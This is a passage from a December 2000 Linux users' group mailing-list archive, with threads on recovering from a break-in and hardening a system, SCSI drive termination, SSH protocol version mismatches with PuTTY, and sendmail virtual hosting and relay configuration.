'em? In the US, unless you've suffered $10,000 in damages, the FBI's "National Infrastructure Protection Center Squad" doesn't want to talk to you, while your state and local police probably can't even spell Linux. About your only _secure_ option is to re-install from square-one (remembering to also add security updates provided by your Linux distributor). To prevent a hacker reinfestation, if your Linux distribution contains an automatically configured firewall, install it. If not, get one (I recommend PMFirewall for newbies, see http://www.pointman.org). In addition to a firewall, consider obtaining and using: - tcp-wrappers - ip-logging - shadow logging of system logs - tripwire - periodic backups to removable media - install ssh to replace rcp & telnet - turning off services you don't need (like rcp, telnet, ftp, ...) and if you're still not scared away from Linux, have no life, and like to read, consider obtaining (at a list price of $48.99) and reading "Linux System Security" by Scott Mann and Ellen L. Mitchell (ISBN 0-13-15807-0, 2000, Prentice-Hall). Hope this helps'idly, -S From austad at marketwatch.com Thu Dec 14 02:02:20 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Could Someone tell me what might be happening here. Message-ID: Burn the logs /etc and /tmp to a CD also. You can always go back through them. However, I got a call from the FBI about 2 months ago asking for the logs from one of my old machines. Someone apparently got busted with a list of IP's that he had compromised and one was mine from my old DSL line. It was the ADMROCKS exploit. I caught it within an hour of the compromise and I fixed it right away. Anyway, they were going to prosecute the guy and they wanted as much evidence as possible. Apparently, he was setting up a huge DDoS network. I learned a very important thing from this though, chroot everything you can, especially BIND. Stock linux installs are pathetically insecure also. A default Mandrake install has about 15 tcp ports hanging open, and Red hat is not any better. Jay > -----Original Message----- > From: sos@zjod.net [mailto:sos@zjod.net] > Sent: Thursday, December 14, 2000 12:51 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Could Someone tell me what might be > happening here. > > > Joseph Johnson wrote: > > > > > > > > > >> Yeah... you've been hacked. > > Ok so I wipe the drive re install how do prevent it from > happening again. > > Or if I leave it up can I catch whoever is messing around > or at least figure > > out why? > > Joseph > > Trying to catch these script-kiddies is a waste of time. > Chances are they're > using your box from _another_ hacked box... not directly from > where they live. > Since your original hack-daemon is controlled by a box in > Jordan, who are you > gonna call if you _do_ catch 'em? In the US, unless you've > suffered $10,000 > in damages, the FBI's "National Infrastructure Protection > Center Squad" > doesn't want to talk to you, while your state and local > police probably can't > even spell Linux. > > About your only _secure_ option is to re-install from > square-one (remembering > to also add security updates provided by your Linux distributor). > > To prevent a hacker reinfestation, if your Linux distribution > contains an > automatically configured firewall, install it. If not, get > one (I recommend > PMFirewall for newbies, see http://www.pointman.org). > > In addition to a firewall, consider obtaining and using: > - tcp-wrappers > - ip-logging > - shadow logging of system logs > - tripwire > - periodic backups to removable media > - install ssh to replace rcp & telnet > - turning off services you don't need (like rcp, > telnet, ftp, ...) > > and if you're still not scared away from Linux, have no life, > and like to > read, consider obtaining (at a list price of $48.99) and > reading "Linux System > Security" by Scott Mann and Ellen L. Mitchell (ISBN > 0-13-15807-0, 2000, > Prentice-Hall). > > Hope this helps'idly, > > -S > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From cschumann at twp-llc.com Thu Dec 14 07:11:27 2000 From: cschumann at twp-llc.com (Chris Schumann) Date: Mon Jan 17 13:13:46 2005 Subject: [TCLUG] Re: MO Drive Hell In-Reply-To: <200012140535.eBE5ZNn10033@sprite.real-time.com> Message-ID: Thanks again, group, for giving me a dope slap. My scanner was working before I put the MO drive between it and my computer, so of course I didn't consider that it had no terminator on it... and of course, there was none. The MO drive works just great now (from WinX), so it's time to repartition my drive for Linux. It's going to be tricky because my drive is on a SCSI card (Adaptec 2100S) that has no driver on the boot floppy. Fun! Chris From jethro at freakzilla.com Thu Dec 14 07:21:02 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] Re: MO Drive Hell In-Reply-To: Message-ID: Hi, On Thu, 14 Dec 2000, Chris Schumann wrote: > The MO drive works just great now (from WinX), so it's time > to repartition my drive for Linux. Try installing Linux on the MO! > It's going to be tricky because my drive is on a SCSI card > (Adaptec 2100S) that has no driver on the boot floppy. Fun! Boot floppy? What's a boot floppy? (; (the MO is the only floppy device on my system) -Yaron -- From andyzb at ltiflex.com Thu Dec 14 08:39:35 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] Re: MO Drive Hell References: Message-ID: <3A38DBA7.CD68796D@ltiflex.com> > > Thanks again, group, for giving me a dope slap. > Termination is hell. My cain now looks like this: Adaptec 2940 --> Plextor 20/8 --> Kenwood 52X TrueX (Terminated) --> Olympus MO Drive (Terminated) --> Iomega Zip 100 (Terminated) Well, at least it all works, with or without my external defices. The Aic7xxx is kinda smart, but only to a point. :) -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From mend0070 at tc.umn.edu Thu Dec 14 09:37:48 2000 From: mend0070 at tc.umn.edu (Philip C Mendelsohn) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: On Wed, 13 Dec 2000, Timothy Wilson wrote: > On Wed, 13 Dec 2000, Michael Vieths wrote: > > > RPS = Roadway Package Systems. > > I'm not 100% sure, but I believe they're owned by FedEx. Sort of their > answer to UPS. RPS has been around for years. We used them for "truck freight", i.e., things that were too big for UPS when we needed to ship large heavy (refrigerator sized) things when I did electronics more. They got into more counter service starting 6-7 years ago, and then were acquired by FedEx. My dates may be wrong, but that's the gist of it. Incidentally, my MO (the usual M.O.?!) came by a truck labelled FedEx Ground. I bet that was an RPS truck that had been repainted. Cheers, Phil M -- "To misattribute a quote is unforgivable." --Anonymous From dieman at ringworld.org Thu Dec 14 10:33:10 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] Re: MO Drive Hell In-Reply-To: <3A38DBA7.CD68796D@ltiflex.com>; from andyzb@ltiflex.com on Thu, Dec 14, 2000 at 08:39:35AM -0600 References: <3A38DBA7.CD68796D@ltiflex.com> Message-ID: <20001214103310.C22390@ringworld.org> * Andy Zbikowski [001214 08:42]: > Adaptec 2940 --> Plextor 20/8 --> Kenwood 52X TrueX (Terminated) --> Olympus > MO Drive (Terminated) --> Iomega Zip 100 (Terminated) Soooo, your internal devices are what type? Is it wide scsi? Then the Olympus is narrow. Then the Iomega is SCSI1. Right? -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001214/8591dfa4/attachment.pgp From bradyh at bitstream.net Thu Dec 14 11:41:02 2000 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] ssh install problems In-Reply-To: <00121313230500.00205@Billbob_Linux> References: <3A37C3EB.39F93F3E@tcfreenet.org> <00121310171504.00217@Billbob_Linux> <3A37C3EB.39F93F3E@tcfreenet.org> Message-ID: <4.2.0.58.20001213153711.00bee450@mail.bitstream.net> I just downloaded and installed ssh-2.3.0 on a Redhat 6.2 box. The install seemed to go fine. I created public and private keys in the home directory of the user I log in as and I made sure sshd is running but I can't seem to connect to it from a windows machine. I tried using Putty and it pulls up a window then disappears without an error message. I tried TTSSH and it gives me this error message: "This program does not understand the server's version of the protocol." I'm an ssh neophyte - can anyone give me a pointer? Thanks, Brady From mauvehead at nerp.net Thu Dec 14 10:52:55 2000 From: mauvehead at nerp.net (Nate Sanders) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] ssh install problems References: <3A37C3EB.39F93F3E@tcfreenet.org> <00121310171504.00217@Billbob_Linux> <3A37C3EB.39F93F3E@tcfreenet.org> <4.2.0.58.20001213153711.00bee450@mail.bitstream.net> Message-ID: <3A38FAE7.58C586EB@nerp.net> Your client doesn't support SSH 2, only SSH 1. Thus it's a differant protocol and PuTTy doesn't like it. I havn't used PuTTy much so I'm not sure if you can make it do the ssh2 protocol. Brady Hegberg wrote: > > I just downloaded and installed ssh-2.3.0 on a Redhat 6.2 box. The install > seemed to go fine. I created public and private keys in the home directory > of the user I log in as and I made sure sshd is running but I can't seem to > connect to it from a windows machine. I tried using Putty and it pulls up > a window then disappears without an error message. I tried TTSSH and it > gives me this error message: "This program does not understand the > server's version of the protocol." > > I'm an ssh neophyte - can anyone give me a pointer? > > Thanks, > Brady > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Nate Sanders darkskull@IRC (newnet) mauvehead@nerp.net http://www.damnation.net ______________________________________________________________________ who | grep -i blonde | date; cd ~; unzip; touch; strip; finger; mount; gasp; yes; uptime; umount; sleep - Unix Is Sexy. From austad at marketwatch.com Thu Dec 14 12:19:33 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] ssh install problems Message-ID: I think the beta version of Putty supports ssh version 2. I remember reading it a couple of months ago. Jay > -----Original Message----- > From: Nate Sanders [mailto:mauvehead@nerp.net] > Sent: Thursday, December 14, 2000 10:53 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] ssh install problems > > > Your client doesn't support SSH 2, only SSH 1. Thus it's a differant > protocol and PuTTy doesn't like it. I havn't used PuTTy much > so I'm not > sure if you can make it do the ssh2 protocol. > > > Brady Hegberg wrote: > > > > I just downloaded and installed ssh-2.3.0 on a Redhat 6.2 > box. The install > > seemed to go fine. I created public and private keys in > the home directory > > of the user I log in as and I made sure sshd is running but > I can't seem to > > connect to it from a windows machine. I tried using Putty > and it pulls up > > a window then disappears without an error message. I tried > TTSSH and it > > gives me this error message: "This program does not understand the > > server's version of the protocol." > > > > I'm an ssh neophyte - can anyone give me a pointer? > > > > Thanks, > > Brady > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- > Nate Sanders darkskull@IRC (newnet) > mauvehead@nerp.net http://www.damnation.net > ______________________________________________________________________ > who | grep -i blonde | date; cd ~; unzip; touch; strip; finger; mount; > gasp; yes; uptime; umount; sleep - Unix Is Sexy. > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From andyzb at ltiflex.com Thu Dec 14 12:35:56 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] ssh install problems References: <3A37C3EB.39F93F3E@tcfreenet.org> <00121310171504.00217@Billbob_Linux> <3A37C3EB.39F93F3E@tcfreenet.org> <4.2.0.58.20001213153711.00bee450@mail.bitstream.net> Message-ID: <3A39130C.98589326@ltiflex.com> You want ssh1, not ssh2. :) Really, you probally want to find openssh for your box. If the list archives are back up search them, I know someone made RH6.2 packages available somewhere. If the archives aren't working, who has the packages?!? :) -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From bexley at daily.umn.edu Thu Dec 14 12:32:14 2000 From: bexley at daily.umn.edu (Benjamin Exley) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] ssh install problems In-Reply-To: <3A38FAE7.58C586EB@nerp.net> Message-ID: <3A38BDCF.25907.AFDC879@localhost> I remeber having this exact same problem. As Brady pointed out, by default sshd wants to use SSH 2. You can configure sshd to try SSH 1 first, and then SSH 2. Off the top of my head, though, I can't for the life of me remember how I did that. (sorry!) > Your client doesn't support SSH 2, only SSH 1. Thus it's a differant > protocol and PuTTy doesn't like it. I havn't used PuTTy much so I'm not > sure if you can make it do the ssh2 protocol. > > > Brady Hegberg wrote: > > > > I just downloaded and installed ssh-2.3.0 on a Redhat 6.2 box. The install > > seemed to go fine. I created public and private keys in the home directory > > of the user I log in as and I made sure sshd is running but I can't seem to > > connect to it from a windows machine. I tried using Putty and it pulls up > > a window then disappears without an error message. I tried TTSSH and it > > gives me this error message: "This program does not understand the > > server's version of the protocol." > > > > I'm an ssh neophyte - can anyone give me a pointer? > > > > Thanks, > > Brady > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- > Nate Sanders darkskull@IRC (newnet) > mauvehead@nerp.net http://www.damnation.net > ______________________________________________________________________ > who | grep -i blonde | date; cd ~; unzip; touch; strip; finger; mount; > gasp; yes; uptime; umount; sleep - Unix Is Sexy. > > > ----- Benjamin Exley Online Webmaster The Minnesota Daily bexley@daily.umn.edu (612) 627-4070 Ext. 3096 From ecrist at ardent-hacker.net Thu Dec 14 12:39:53 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] (no subject) Message-ID: <00121412410003.36499@armageddon.ardent-hacker.net> I am having a problem with virtual hosting with sendmail. I can't get it to recognize my virtusertable files to map the second domain addresses to the correct local accounts. Can someone help me? I am using sendmail 8.11.1 -- Eric F Crist System Administrator Ardent-Hacker.net From natecars at real-time.com Thu Dec 14 12:45:06 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] ssh install problems In-Reply-To: <4.2.0.58.20001213153711.00bee450@mail.bitstream.net> Message-ID: On Thu, 14 Dec 2000, Brady Hegberg wrote: > I just downloaded and installed ssh-2.3.0 on a Redhat 6.2 box. The install > seemed to go fine. I created public and private keys in the home directory > of the user I log in as and I made sure sshd is running but I can't seem to > connect to it from a windows machine. I tried using Putty and it pulls up > a window then disappears without an error message. I tried TTSSH and it > gives me this error message: "This program does not understand the > server's version of the protocol." > > I'm an ssh neophyte - can anyone give me a pointer? Add: Protocol 1,2 to /etc/ssh/sshd_config, and restart sshd. (This is assuming you installed OpenSSH 2.3.0) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Thu Dec 14 12:49:08 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] (no subject) In-Reply-To: <00121412410003.36499@armageddon.ardent-hacker.net> Message-ID: On Thu, 14 Dec 2000, Eric F Crist wrote: > I am having a problem with virtual hosting with sendmail. I can't get it to > recognize my virtusertable files to map the second domain addresses to the > correct local accounts. Can someone help me? > I am using sendmail 8.11.1 MC Entries: FEATURE(`virtusertable',`hash -o /etc/mail/virtusertable')dnl /etc/mail/virtusertable: name@domain1 user@yourdomain name2@domain1 user2@yourdomain @domain1 user3@yourdomain name@domain2 user4@yourdomain @domain2 user5@yourdomain ..you either want to have the @domain route to a real user, or to a user that will bounce the message. otherwise, it will default to local users on your machine. if you want to remap users of a domain to yours: @example.com %1@yourdomain.net so bob@example.com delivers to bob@yourdomain.net. Hope it helps. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From clay at fandre.com Thu Dec 14 12:49:20 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] ssh install problems References: <3A37C3EB.39F93F3E@tcfreenet.org> <00121310171504.00217@Billbob_Linux> <3A37C3EB.39F93F3E@tcfreenet.org> <4.2.0.58.20001213153711.00bee450@mail.bitstream.net> <3A39130C.98589326@ltiflex.com> Message-ID: <3A391630.E7D66636@fandre.com> Andy Zbikowski wrote: > > You want ssh1, not ssh2. :) Really, you probally want to find openssh for > your box. If the list archives are back up search them, I know someone made > RH6.2 packages available somewhere. If the archives aren't working, who has > the packages?!? :) > These RPM's should work find with RH6.2. http://www.openssh.com/portable.html OpenSSH supports both version 1 and 2. From ecrist at ardent-hacker.net Thu Dec 14 12:53:05 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] (no subject) In-Reply-To: References: Message-ID: <00121412585004.36499@armageddon.ardent-hacker.net> I've never used a MC file, I've always edited the sendmail.cf file directly. My virtusertable file is setup like this: wraith@shadowwraith.net wraith ecrist@ardent-hacker.net ecrist root@ardent-hacker.net root bogus@shadowwraith.net ecrist the genericstable is setup like this: wraith wraith@shadowwraith.net Hope this helps explain things. Eric On Thu, 14 Dec 2000, you wrote: > On Thu, 14 Dec 2000, Eric F Crist wrote: > > I am having a problem with virtual hosting with sendmail. I can't get it to > > recognize my virtusertable files to map the second domain addresses to the > > correct local accounts. Can someone help me? > > I am using sendmail 8.11.1 > > MC Entries: > > FEATURE(`virtusertable',`hash -o /etc/mail/virtusertable')dnl > > /etc/mail/virtusertable: > > name@domain1 user@yourdomain > name2@domain1 user2@yourdomain > @domain1 user3@yourdomain > > name@domain2 user4@yourdomain > @domain2 user5@yourdomain > > ..you either want to have the @domain route to a real user, or to a user > that will bounce the message. otherwise, it will default to local users on > your machine. > > if you want to remap users of a domain to yours: > > @example.com %1@yourdomain.net > > so bob@example.com delivers to bob@yourdomain.net. > > Hope it helps. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Eric F Crist System Administrator Ardent-Hacker.net From jamie at floyd.getsetnet.net Thu Dec 14 13:48:34 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:47 2005 Subject: [TCLUG] (no subject) In-Reply-To: <00121412585004.36499@armageddon.ardent-hacker.net> Message-ID: On Thu, 14 Dec 2000, Eric F Crist wrote: > I've never used a MC file, I've always edited the sendmail.cf file directly. > My virtusertable file is setup like this: > > wraith@shadowwraith.net wraith > ecrist@ardent-hacker.net ecrist > root@ardent-hacker.net root > bogus@shadowwraith.net ecrist Hi Eric, Try going to the directory /usr/lib/sendmail-cf/cf There will be a file called sendmail.mc open it add the line: FEATURE(`virtusertable',`hash -o /etc/mail/virtusertable')dnl Save and get out of the editor. Back at the command line type in: m4 < sendmail.mc > sendmail.cf This will generate a new sendmail.cf file. It will create it in the current directory though, so you have to move your new sendmail.cf file over to /etc and replace the old one (I would rename your old one sendmail.cf.bak before you do this) Then restart sendmail and you can make the changes to your virtusertable. go to your /etc/mail directory and make the changes you want to your virtusertable. Then back at the command line type in makemap hash /etc/mail/virtusertable < virtusertable The generics table is just for outgoing mail, if I am not mistaken. But, I would make the changes as you have (which look fine): > > the genericstable is setup like this: > > wraith wraith@shadowwraith.net > And then back at the CLI do makemap hash /etc/mail/genericstable < genericstable. If that doesn't work, I wouldn't know what else to try. Hope that helps. - Jamie > Hope this helps explain things. > > Eric > > On Thu, 14 Dec 2000, you wrote: > > On Thu, 14 Dec 2000, Eric F Crist wrote: > > > I am having a problem with virtual hosting with sendmail. I can't get it to > > > recognize my virtusertable files to map the second domain addresses to the > > > correct local accounts. Can someone help me? > > > I am using sendmail 8.11.1 > > > > MC Entries: > > > > FEATURE(`virtusertable',`hash -o /etc/mail/virtusertable')dnl > > > > /etc/mail/virtusertable: > > > > name@domain1 user@yourdomain > > name2@domain1 user2@yourdomain > > @domain1 user3@yourdomain > > > > name@domain2 user4@yourdomain > > @domain2 user5@yourdomain > > > > ..you either want to have the @domain route to a real user, or to a user > > that will bounce the message. otherwise, it will default to local users on > > your machine. > > > > if you want to remap users of a domain to yours: > > > > @example.com %1@yourdomain.net > > > > so bob@example.com delivers to bob@yourdomain.net. > > > > Hope it helps. > > > > -- > > Nate Carlson | Phone : (952)943-8700 > > http://www.real-time.com | Fax : (952)943-8500 > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > From ecrist at ardent-hacker.net Thu Dec 14 13:44:21 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] Virtual Hosting with Sendmail Message-ID: <00121413454900.37755@armageddon.ardent-hacker.net> Ok. I got virtual hosting setup for the most part, but I need it so that when say joe@domain2.com sends mail, it puts the correct From line on his mail, rather than joe@domain1.com. I think that's through the genericstable, but I am unfamiliar with how to do that. Thanks, Eric -- Eric F Crist System Administrator Ardent-Hacker.net From ecrist at ardent-hacker.net Thu Dec 14 13:51:47 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] Virtual Hosting with Sendmail In-Reply-To: <00121413454900.37755@armageddon.ardent-hacker.net> References: <00121413454900.37755@armageddon.ardent-hacker.net> Message-ID: <00121413525201.37755@armageddon.ardent-hacker.net> Ok, Jamie, that makemap thing worked. is there a way I can do that automatically with just the make command like I can with virtusertable and others? thanks, Eric P.S. other than that small problem, everything's working fine. On Thu, 14 Dec 2000, you wrote: > Ok. I got virtual hosting setup for the most part, but I need it so that when > say joe@domain2.com sends mail, it puts the correct From line on his mail, > rather than joe@domain1.com. I think that's through the genericstable, but I > am unfamiliar with how to do that. > > Thanks, > > Eric > > -- > Eric F Crist > System Administrator > Ardent-Hacker.net > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Eric F Crist System Administrator Ardent-Hacker.net From jamie at floyd.getsetnet.net Thu Dec 14 14:12:42 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] Virtual Hosting with Sendmail In-Reply-To: <00121413525201.37755@armageddon.ardent-hacker.net> Message-ID: Actually, I don't think that make and makemap are at all related. makemap builds some kind of database somewhere on the system with the file you specify. This database is accessed by sendmail. It is faster that way when you start having humongous alias and generics tables that are incredibly long. The database method becomes much faster in those instances. So in short to answer you, no, make and makemap are unrelated. make is the c compiler and makemap is a database builder. Hope that was helpful in some way. - Jamie On Thu, 14 Dec 2000, Eric F Crist wrote: > Ok, Jamie, that makemap thing worked. is there a way I can do that > automatically with just the make command like I can with virtusertable and > others? > > thanks, > > Eric > > P.S. other than that small problem, everything's working fine. > > On Thu, 14 Dec 2000, you wrote: > > Ok. I got virtual hosting setup for the most part, but I need it so that when > > say joe@domain2.com sends mail, it puts the correct From line on his mail, > > rather than joe@domain1.com. I think that's through the genericstable, but I > > am unfamiliar with how to do that. > > > > Thanks, > > > > Eric > > > > -- > > Eric F Crist > > System Administrator > > Ardent-Hacker.net > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > From ecrist at ardent-hacker.net Thu Dec 14 14:44:07 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] (no subject) Message-ID: <00121414450900.38098@armageddon.ardent-hacker.net> "The message could not be sent because one of the recipient was rejected by the server. Server Response: '550.7.1 ...Relaying denied'. (Account: 'ShadowWraith', SMTP Server: 'mail.shadowwraith.net', Error Number 0x800ccc79). How do I fix this? I've dealt with it before, but I don't remember! I know it has somthing to do with sendmail.cw and access, but I don't know what the right way to do it is. Thanks, Eric -- Eric F Crist System Administrator Ardent-Hacker.net From natecars at real-time.com Thu Dec 14 14:53:21 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] (no subject) In-Reply-To: <00121414450900.38098@armageddon.ardent-hacker.net> Message-ID: On Thu, 14 Dec 2000, Eric F Crist wrote: > "The message could not be sent because one of the recipient was rejected by the server. Server Response: '550.7.1 ...Relaying denied'. (Account: 'ShadowWraith', SMTP Server: 'mail.shadowwraith.net', Error Number 0x800ccc79). > > How do I fix this? I've dealt with it before, but I don't remember! > I know it has somthing to do with sendmail.cw and access, but I don't know what > the right way to do it is. add the host you're sending from to the access file.. eg yourdomain.com RELAY (if your hostname is blah.yourdomain.com) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From veldy at veldy.net Thu Dec 14 14:51:02 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] (no subject) References: <00121414450900.38098@armageddon.ardent-hacker.net> Message-ID: <01c401c0660f$92ef1ae0$9c29680a@tgt.com> It is for this reason I HATE sendmail. Even with the batbook in hand - it can be impossible to find a solution to anything. Postfix and a web browser are all you need. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Eric F Crist" To: Sent: Thursday, December 14, 2000 2:44 PM Subject: [TCLUG] (no subject) > "The message could not be sent because one of the recipient was rejected by the server. Server Response: '550.7.1 ...Relaying denied'. (Account: 'ShadowWraith', SMTP Server: 'mail.shadowwraith.net', Error Number 0x800ccc79). > > How do I fix this? I've dealt with it before, but I don't remember! > I know it has somthing to do with sendmail.cw and access, but I don't know what > the right way to do it is. > > Thanks, > > Eric > > > -- > Eric F Crist > System Administrator > Ardent-Hacker.net > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From tanner at real-time.com Thu Dec 14 14:56:10 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] (no subject) In-Reply-To: <00121414450900.38098@armageddon.ardent-hacker.net>; from ecrist@ardent-hacker.net on Thu, Dec 14, 2000 at 02:44:07PM -0600 References: <00121414450900.38098@armageddon.ardent-hacker.net> Message-ID: <20001214145610.I468@real-time.com> Quoting Eric F Crist (ecrist@ardent-hacker.net): > "The message could not be sent because one of the recipient was rejected by the server. Server Response: '550.7.1 ...Relaying denied'. (Account: 'ShadowWraith', SMTP Server: 'mail.shadowwraith.net', Error Number 0x800ccc79). > > How do I fix this? I've dealt with it before, but I don't remember! > I know it has somthing to do with sendmail.cw and access, but I don't know what > the right way to do it is. Sendmail? Add domain to your /etc/mail/access file. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From ecrist at ardent-hacker.net Thu Dec 14 14:53:50 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] (no subject) In-Reply-To: <00121414450900.38098@armageddon.ardent-hacker.net> References: <00121414450900.38098@armageddon.ardent-hacker.net> Message-ID: <00121414535901.38098@armageddon.ardent-hacker.net> Never mind, I got it. On Thu, 14 Dec 2000, you wrote: > "The message could not be sent because one of the recipient was rejected by the server. Server Response: '550.7.1 ...Relaying denied'. (Account: 'ShadowWraith', SMTP Server: 'mail.shadowwraith.net', Error Number 0x800ccc79). > > How do I fix this? I've dealt with it before, but I don't remember! > I know it has somthing to do with sendmail.cw and access, but I don't know what > the right way to do it is. > > Thanks, > > Eric > > > -- > Eric F Crist > System Administrator > Ardent-Hacker.net > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Eric F Crist System Administrator Ardent-Hacker.net From ecrist at ardent-hacker.net Thu Dec 14 15:00:40 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] (no subject) In-Reply-To: <20001214145610.I468@real-time.com> References: <00121414450900.38098@armageddon.ardent-hacker.net> <20001214145610.I468@real-time.com> Message-ID: <00121415012702.38098@armageddon.ardent-hacker.net> Actually, that didn't fix it. I had to edit the file /etc/mail/relay-domains with the domains. I couldn't get something to work right with the access files. Maybe someone could help me? Eric On Thu, 14 Dec 2000, you wrote: > Quoting Eric F Crist (ecrist@ardent-hacker.net): > > "The message could not be sent because one of the recipient was rejected by the server. Server Response: '550.7.1 ...Relaying denied'. (Account: 'ShadowWraith', SMTP Server: 'mail.shadowwraith.net', Error Number 0x800ccc79). > > > > How do I fix this? I've dealt with it before, but I don't remember! > > I know it has somthing to do with sendmail.cw and access, but I don't know what > > the right way to do it is. > > Sendmail? > > Add domain to your /etc/mail/access file. > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Eric F Crist System Administrator Ardent-Hacker.net From natecars at real-time.com Thu Dec 14 15:07:28 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] (no subject) In-Reply-To: <00121415012702.38098@armageddon.ardent-hacker.net> Message-ID: On Thu, 14 Dec 2000, Eric F Crist wrote: > Actually, that didn't fix it. I had to edit the file /etc/mail/relay-domains > with the domains. I couldn't get something to work right with the access > files. Maybe someone could help me? What version of sendmail? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From austad at marketwatch.com Thu Dec 14 16:00:30 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:48 2005 Subject: [TCLUG] (no subject) Message-ID: Convert to postfix. :) It's more secure and way easier to configure. qmail if you need crazy gangbusters performance and security. But qmail is a pain to set up. Oh yeah, almost forgot, install debian. :) Jay > -----Original Message----- > From: Nate Carlson [mailto:natecars@real-time.com] > Sent: Thursday, December 14, 2000 3:07 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] (no subject) > > > On 